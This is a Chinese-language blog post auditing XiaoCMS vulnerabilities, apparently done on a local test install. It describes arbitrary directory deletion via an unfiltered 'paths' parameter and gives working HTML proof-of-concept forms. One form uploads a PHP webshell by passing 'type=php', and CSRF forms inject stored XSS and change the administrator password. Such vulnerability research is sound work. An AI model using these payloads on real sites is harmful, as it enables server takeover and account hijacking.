翻安全客的时候看到xiao cms爆了6个cve审计一下
任意目录删除
跟进一下database.php 看到action是import找到那个函数
可以看到 paths 这个post参数并没有对./
进行过滤,可以进行任意文件删除,而且payload的paths参数应该是post=。=
放一个自己的目录测试一下
创建了一个ckj123
的目录,试下能不能删除
成功
上传任意文件
很明显的可以看到uploadfile.php文件 找到上传文件的地方
所有的upload需要一个upload函数
看到他加载了一个叫做upload的类 然后获得了文件最后的扩展名,判断了是图片还是别的文件 跟进upload
跟进upload类
里面有个过滤的地方
获得后缀,跟限制的类型进行比较
可以看到这个type是需要自己传进去的
总共两个action 下面那个的type是规定死的 发现上面那个的type是需要自己传进去的这就可以传php文件了
代码语言:javascript复制<html>
<body>
<form action="http://127.0.0.1:8080/admin/index.php?c=uploadfile&a=uploadify_upload&type=php&size=1000" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="submit" value="submit" />
</form>
</body>
</html>
CVE给的payload不对。。
成功了,然后连接一下这个马
CSRF
他没有判断referer是从哪里来的,可以随意csrf,举两个例子 任意添加一个xss面板
代码语言:javascript复制<html>
<body>
<form action="http://127.0.0.1:8080/admin/index.php?c=content&a=add&catid=3" method="POST">
<input type="hidden" name="data[catid]" value="3" />
<input type="hidden" name="data[title]" value="test" />
<input type="hidden" name="data[thumb]" value="" />
<input type="hidden" name="data[keywords]" value="" />
<input type="hidden" name="data[description]" value="" />
<input type="hidden" name="data[content]" value="<script>alert(1)</script>" />
<input type="hidden" name="data[xiao_auto_description]" value="1" />
<input type="hidden" name="data[xiao_auto_thumb]" value="1" />
<input type="hidden" name="data[xiao_download_image]" value="1" />
<input type="hidden" name="data[time]" value="2018-11-02 15:05:43" />
<input type="hidden" name="data[hits]" value="" />
<input type="hidden" name="submit" value="提交" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
改管理员的密码
代码语言:javascript复制<form action="http://127.0.0.1:8080/admin/index.php?c=index&a=my" method="POST">
<input type="hidden" name="data[password]" value="1234567">
<input type="hidden" name="submit" value="提交" />
<input type="submit" value="Submit request" />
</form>
后记
xss的漏洞没看,以后有空补上,xss要跟的地方太多了=。=,太菜